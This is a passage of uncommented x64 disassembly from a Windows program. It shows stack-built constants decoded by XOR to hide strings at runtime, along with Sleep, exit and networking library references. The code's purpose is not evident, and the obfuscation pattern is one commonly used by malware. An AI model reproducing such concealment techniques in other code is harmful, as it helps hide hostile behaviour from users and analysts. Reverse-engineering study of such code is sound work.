mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400312e0]
call fcn.140030d20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1400314b0]
call fcn.140030d20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140035d80]
call fcn.140030d20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140031680]
call fcn.140030d20
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [0x140031860]
lea rcx, [rbp + 0x1530]
call fcn.140043000
nop
mov rcx, rax
call fcn.1400112c0
nop
lea rcx, [rbp + 0x1530]
call fcn.1400112a0
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
nop
lea rcx, [rbp + 0x2f40]
call fcn.140007240
nop
lea rcx, [rbp + 0x3390]
call fcn.14000dd00
nop
lea rcx, [rbp + 0x2e10]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f00]
call fcn.140007240
nop
lea rcx, [rbp + 0x30e0]
call fcn.1400415d0
nop
lea rcx, [rbp + 0x2ee0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ec0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ea0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2e80]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f80]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f20]
call fcn.140007240
nop
lea rcx, [rbp + 0x2e30]
call fcn.1400114f0
xor eax, eax
jmp 0x1400415a0
lea rax, [rbp + 0x2690]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xfe0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xfe8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xff0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xff8], rax
movabs rax, 0xb292b5ed5ffc9f0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1000], rax
movabs rax, 0xeeb4c9ccf6419719
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1008], rax
movabs rax, 0xf9f7bf4770d57818
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1010], rax
movabs rax, 0x6d4ed14401c62ac1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1018], rax
movabs rax, 0x1873a5372417d752
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1020], rax
movabs rax, 0x9fdb5737c01c0151
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1028], rax
movabs rax, 0xc53f2e480f179e00
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1030], rax
movabs rax, 0xb4a93577eb6f5d39
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1038], rax
movabs rax, 0xfdf6ebc07357fbe8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1040], rax
movabs rax, 0x17d265b0ee8de58c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1048], rax
movabs rax, 0x73c6f16ca59a86a3
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1050], rax
movabs rax, 0x60a3769940942f1f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1058], rax
movabs r12, 0xf27849aa1da26a9f
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3800], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3808], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3810], rax
movabs r13, 0x43dc604d5b126582
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3818], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3820], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3828], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3830], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3838], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3840], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3848], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3850], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3858], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3860], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3868], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3870], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3878], rax
vmovdqu ymm0, ymmword [rbp + 0xfe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3800]
vmovdqa ymmword [rbp + 0xfe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1000]
vpxor ymm1, ymm0, ymmword [rbp + 0x3820]
vmovdqa ymmword [rbp + 0x1000], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1020]
vpxor ymm1, ymm0, ymmword [rbp + 0x3840]
vmovdqa ymmword [rbp + 0x1020], ymm1
vmovdqu ymm0, ymmword [rbp + 0x1040]
vpxor ymm1, ymm0, ymmword [rbp + 0x3860]
vmovdqa ymmword [rbp + 0x1040], ymm1
lea rdx, [rbp + 0xfe0]
lea rcx, [rbp + 0x2690]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs rax, 0xf27849aa1dc20aff
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x200], rcx
mov qword [rbp], rdi
mov rcx, qword [rbp]
mov qword [rbp + 0x208], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x3950], rcx
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3958], rax
movdqa xmm0, xmmword [rbp + 0x200]
pxor xmm0, xmmword [rbp + 0x3950]
movdqa xmmword [rbp + 0x200], xmm0
movabs rax, 0xc80a26d86fe74abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x690], rax
movabs rax, 0x6e5e413bb15f6098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x698], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3940], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3948], rax
movdqa xmm0, xmmword [rbp + 0x690]
pxor xmm0, xmmword [rbp + 0x3940]
movdqa xmmword [rbp + 0x690], xmm0
lea rcx, [rbp + 0x2470]
call fcn.140036e80
mov rdi, rax
movabs rax, 0x9f19078a7ef24abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x680], rcx
movabs rax, 0x6e5e413b917f7add
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x688], rcx
mov qword [rbp], r12
mov rcx, qword [rbp]
mov qword [rbp + 0x3930], rcx
movabs r14, 0x6e5e413bb15f40b8
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3938], rax
movdqa xmm0, xmmword [rbp + 0x680]
pxor xmm0, xmmword [rbp + 0x3930]
movdqa xmmword [rbp + 0x680], xmm0
movabs rax, 0x970b27cf7ecb26bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x670], rax
movabs r15, 0x6e5e413bb17f6082
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x678], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3920], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3928], rax
movdqa xmm0, xmmword [rbp + 0x670]
pxor xmm0, xmmword [rbp + 0x3920]
movdqa xmmword [rbp + 0x670], xmm0
mov edx, 0x7f
lea rcx, [rbp + 0x2450]
call fcn.140011310
mov rbx, rax
movabs rax, 0x9f193bcd72d03abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x840], rcx
movabs rax, 0x312848c33a1698
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x848], rcx
movabs rax, 0x33784aa4b1882cb3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x850], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x858], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x37e0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x37e8], rax
movabs rcx, 0x33784aa4b1a80c89
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x37f0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x37f8], rax
vmovdqu ymm0, ymmword [rbp + 0x840]
vpxor ymm1, ymm0, ymmword [rbp + 0x37e0]
vmovdqa ymmword [rbp + 0x840], ymm1
movabs rax, 0x9c1720d96fc73cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x660], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x668], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3910], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3918], rax
vmovdqa xmm0, xmmword [rbp + 0x660]
vpxor xmm0, xmm0, xmmword [rbp + 0x3910]
vmovdqa xmmword [rbp + 0x660], xmm0
movabs rax, 0x860b3cf83dc20aff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12e0], rax
movabs rax, 0x73f071bde2d1098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12e8], rax
movabs rax, 0x5716788491cc69e5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12f0], rax
movabs rax, 0x26b4236d2b7a35a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x12f8], rax
movabs rax, 0x80a487fe4df4c540
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1300], rax
movabs rdx, 0xd68cf8ffcf72a52c
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1308], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x4140], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x4148], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x4150], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x4158], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x4160], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x4168], rax
vmovdqu ymm0, ymmword [rbp + 0x12e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x4140]
vmovdqa ymmword [rbp + 0x12e0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1300]
vpxor xmm0, xmm0, xmmword [rbp + 0x4160]
vmovdqa xmmword [rbp + 0x1300], xmm0
lea r8, [0x14012a090]
lea rdx, [rbp + 0x12e0]
lea rcx, [rbp + 0x21d0]
vzeroupper
call fcn.140042530
nop
lea r8, [rbp + 0x660]
mov rdx, rax
lea rcx, [rbp + 0x21f0]
call fcn.140042690
nop
lea r8, [0x14012b4c8]
mov rdx, rax
lea rcx, [rbp + 0x2210]
call fcn.140042e40
nop
lea r8, [rbp + 0x840]
mov rdx, rax
lea rcx, [rbp + 0x2230]
call fcn.140042690
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2250]
call fcn.140042e20
nop
lea r8, [rbp + 0x670]
mov rdx, rax
lea rcx, [rbp + 0x2270]
call fcn.140042690
nop
lea r8, [rbp + 0x2e10]
mov rdx, rax
lea rcx, [rbp + 0x2290]
call fcn.140042e40
nop
lea r8, [rbp + 0x680]
mov rdx, rax
lea rcx, [rbp + 0x22b0]
call fcn.140042690
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x22d0]
call fcn.140042e20
nop
lea r8, [rbp + 0x690]
mov rdx, rax
lea rcx, [rbp + 0x22f0]
call fcn.140042690
nop
lea r8, [rbp + 0x3328]
mov rdx, rax
lea rcx, [rbp + 0x2330]
call fcn.140042e40
nop
lea r8, [rbp + 0x200]
mov rdx, rax
lea rcx, [rbp + 0x2670]
call fcn.140042690
nop
mov rdx, rsi
mov rcx, rax
call fcn.140030f00
nop
lea rcx, [rbp + 0x2330]
call fcn.140007240
nop
lea rcx, [rbp + 0x22f0]
call fcn.140007240
nop
lea rcx, [rbp + 0x22d0]
call fcn.140007240
nop
lea rcx, [rbp + 0x22b0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2290]
call fcn.140007240
nop
lea rcx, [rbp + 0x2270]
call fcn.140007240
nop
lea rcx, [rbp + 0x2250]
call fcn.140007240
nop
lea rcx, [rbp + 0x2230]
call fcn.140007240
nop
lea rcx, [rbp + 0x2210]
call fcn.140007240
nop
lea rcx, [rbp + 0x21f0]
call fcn.140007240
nop
lea rcx, [rbp + 0x21d0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2450]
call fcn.140007240
nop
lea rcx, [rbp + 0x2470]
call fcn.140007240
call fcn.140036660
mov ecx, 0x41
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [rbp + 0x2490]
mov qword [rbp + 0x10], rax
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
movabs rax, 0xdd5773d96dd61ef7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xbe0], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xbe8], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xbf0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xbf8], rax
movabs rax, 0xb893b0ee5efc9f0c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc00], rax
movabs rax, 0xe5b9cdcafd419614
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc08], rax
movabs rax, 0xb483ac4771df781d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc10], rax
movabs rax, 0x6e60fd3059d60cf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc18], rax
movabs rax, 0x1d7f906a476d820e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc20], rax
movabs rax, 0xa5de3e26e27e6742
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc28], rax
movabs rax, 0xba2e36315c39b348
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc30], rax
movabs rax, 0xd6880d47d50c6200
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc38], rax
movabs rax, 0xd4cfd9cf0e649992
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc40], rax
movabs rax, 0x38e5de2d38ccea6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc48], rax
movabs rax, 0x7b83ab53de9c9dbb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc50], rax
movabs rax, 0x60a3769940942f2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xc58], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x3800], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3808], rax
movabs rax, 0x33784aa4b1a80c89
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3810], rax
movabs r13, 0x43dc604d5b126582
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3818], rax
movabs rax, 0x80a487de6dceae23
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3820], rax
movabs rax, 0xd68cf8ffcf72a52c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3828], rax
movabs rax, 0xccc7f56849ed4d2d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3830], rax
movabs rax, 0x10a8e016aa464a6
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3838], rax
movabs rax, 0x792cc602775eb167
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3840], rax
movabs rax, 0xfaab0d73962f3600
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3848], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x3850], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3858], rax
movabs rax, 0x928eb2964a15aaab
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3860], rax
movabs rax, 0x76b633d7bbe99fd4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3868], rax
movabs rax, 0x17b4992095dffcf5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3870], rax
movabs rax, 0x60a3769940942f4e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3878], rax
vmovdqu ymm0, ymmword [rbp + 0xbe0]
vpxor ymm1, ymm0, ymmword [rbp + 0x3800]
vmovdqa ymmword [rbp + 0xbe0], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc00]
vpxor ymm1, ymm0, ymmword [rbp + 0x3820]
vmovdqa ymmword [rbp + 0xc00], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3840]
vmovdqa ymmword [rbp + 0xc20], ymm1
vmovdqu ymm0, ymmword [rbp + 0xc40]
vpxor ymm1, ymm0, ymmword [rbp + 0x3860]
vmovdqa ymmword [rbp + 0xc40], ymm1
lea rdx, [rbp + 0xbe0]
lea rcx, [rbp + 0x2490]
vzeroupper
call fcn.140007250
mov rsi, rax
movabs r14, 0xb05827cf79d202cf
mov qword [rbp], r14
mov rcx, qword [rbp]
mov qword [rbp + 0x210], rcx
movabs rax, 0x6e5e215bd11b0feb
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x218], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x3900], rcx
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x3908], rax
movdqa xmm0, xmmword [rbp + 0x210]
pxor xmm0, xmmword [rbp + 0x3900]
movdqa xmmword [rbp + 0x210], xmm0
movabs rax, 0xc80a26d86fe74abf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x240], rax
movabs rax, 0x6e5e413bb15f6098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x248], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38f0], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x38f8], rax
movdqa xmm0, xmmword [rbp + 0x240]
pxor xmm0, xmmword [rbp + 0x38f0]
movdqa xmmword [rbp + 0x240], xmm0
lea rcx, [rbp + 0x2630]
call fcn.140036e80
mov rdi, rax
movabs rax, 0x9f19078a7ef24abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2a0], rcx
movabs rax, 0x6e5e413b917f7add
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x2a8], rcx
mov qword [rbp], rbx
mov rcx, qword [rbp]
mov qword [rbp + 0x38e0], rcx
movabs r15, 0x6e5e413bb15f40b8
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38e8], rax
movdqa xmm0, xmmword [rbp + 0x2a0]
pxor xmm0, xmmword [rbp + 0x38e0]
movdqa xmmword [rbp + 0x2a0], xmm0
movabs rax, 0x970b27cf7ecb26bf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x250], rax
movabs rax, 0x6e5e413bb17f6082
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x258], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x38d0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38d8], rax
movdqa xmm0, xmmword [rbp + 0x250]
pxor xmm0, xmmword [rbp + 0x38d0]
movdqa xmmword [rbp + 0x250], xmm0
mov edx, 0x7f
lea rcx, [rbp + 0x2610]
call fcn.140011310
mov rbx, rax
movabs rax, 0x9f193bcd72d03abf
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x880], rcx
movabs rax, 0x312848c33a1698
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x888], rcx
movabs rax, 0x33784aa4b1882cb3
mov qword [rbp], rax
mov rcx, qword [rbp]
mov qword [rbp + 0x890], rcx
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x898], rax
movabs r12, 0xf27849aa1da26a9f
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x37e0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x37e8], rax
movabs rcx, 0x33784aa4b1a80c89
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x37f0], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x37f8], rax
vmovdqu ymm0, ymmword [rbp + 0x880]
vpxor ymm1, ymm0, ymmword [rbp + 0x37e0]
vmovdqa ymmword [rbp + 0x880], ymm1
movabs rax, 0x9c1720d96fc73cbf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x230], rax
movabs rax, 0x6e5e413bb17f6082
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x238], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x38c0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38c8], rax
vmovdqa xmm0, xmmword [rbp + 0x230]
vpxor xmm0, xmm0, xmmword [rbp + 0x38c0]
vmovdqa xmmword [rbp + 0x230], xmm0
movabs rax, 0x860b3cf83dc20aff
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs rax, 0x12d031bde2d1098
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0x33784a8491922ced
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x3880], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x3888], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x3890], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x3898], rax
vmovdqu ymm0, ymmword [rbp + 0x860]
vpxor ymm1, ymm0, ymmword [rbp + 0x3880]
vmovdqa ymmword [rbp + 0x860], ymm1
lea r8, [0x14012a090]
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x25f0]
vzeroupper
call fcn.140042530
nop
lea r8, [rbp + 0x230]
mov rdx, rax
lea rcx, [rbp + 0x25d0]
call fcn.140042690
nop
lea r8, [0x14012b4c8]
mov rdx, rax
lea rcx, [rbp + 0x25b0]
call fcn.140042e40
nop
lea r8, [rbp + 0x880]
mov rdx, rax
lea rcx, [rbp + 0x2590]
call fcn.140042690
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x2570]
call fcn.140042e20
nop
lea r8, [rbp + 0x250]
mov rdx, rax
lea rcx, [rbp + 0x2550]
call fcn.140042690
nop
lea r8, [rbp + 0x2e10]
mov rdx, rax
lea rcx, [rbp + 0x2530]
call fcn.140042e40
nop
lea r8, [rbp + 0x2a0]
mov rdx, rax
lea rcx, [rbp + 0x2510]
call fcn.140042690
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rbp + 0x24f0]
call fcn.140042e20
nop
lea r8, [rbp + 0x240]
mov rdx, rax
lea rcx, [rbp + 0x24d0]
call fcn.140042690
nop
lea r8, [rbp + 0x210]
mov rdx, rax
lea rcx, [rbp + 0x24b0]
call fcn.140042690
nop
mov rdx, rsi
mov rcx, rax
call fcn.140030f00
nop
lea rcx, [rbp + 0x24d0]
call fcn.140007240
nop
lea rcx, [rbp + 0x24f0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2510]
call fcn.140007240
nop
lea rcx, [rbp + 0x2530]
call fcn.140007240
nop
lea rcx, [rbp + 0x2550]
call fcn.140007240
nop
lea rcx, [rbp + 0x2570]
call fcn.140007240
nop
lea rcx, [rbp + 0x2590]
call fcn.140007240
nop
lea rcx, [rbp + 0x25b0]
call fcn.140007240
nop
lea rcx, [rbp + 0x25d0]
call fcn.140007240
nop
lea rcx, [rbp + 0x25f0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2610]
call fcn.140007240
nop
lea rcx, [rbp + 0x2630]
call fcn.140007240
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov byte [rbp + 8], al
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x220], rax
movabs rax, 0x6e5e413bb13b2fcb
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x228], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x38b0], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x38b8], rax
movdqa xmm0, xmmword [rbp + 0x220]
pxor xmm0, xmmword [rbp + 0x38b0]
movdqa xmmword [rbp + 0x220], xmm0
lea rdx, [rbp + 0x220]
lea rcx, [rbp + 0x2650]
call fcn.140007250
mov rcx, rax
call fcn.140031870
call fcn.140036660
nop
lea rcx, [rbp + 0x2f40]
call fcn.140007240
nop
lea rcx, [rbp + 0x3390]
call fcn.14000dd00
nop
lea rcx, [rbp + 0x2e10]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f00]
call fcn.140007240
nop
lea rcx, [rbp + 0x30e0]
call fcn.1400415d0
nop
lea rcx, [rbp + 0x2ee0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ec0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2ea0]
call fcn.140007240
nop
lea rcx, [rbp + 0x2e80]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f80]
call fcn.140007240
nop
lea rcx, [rbp + 0x2f20]
call fcn.140007240
nop
lea rcx, [rbp + 0x2e30]
call fcn.1400114f0
mov eax, reloc.WS2_32.dll_ntohs
mov rcx, qword [rbp + 0x47c0]
xor rcx, rsp
call fcn.1400e4b30
lea r11, [rsp + 0x4830]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret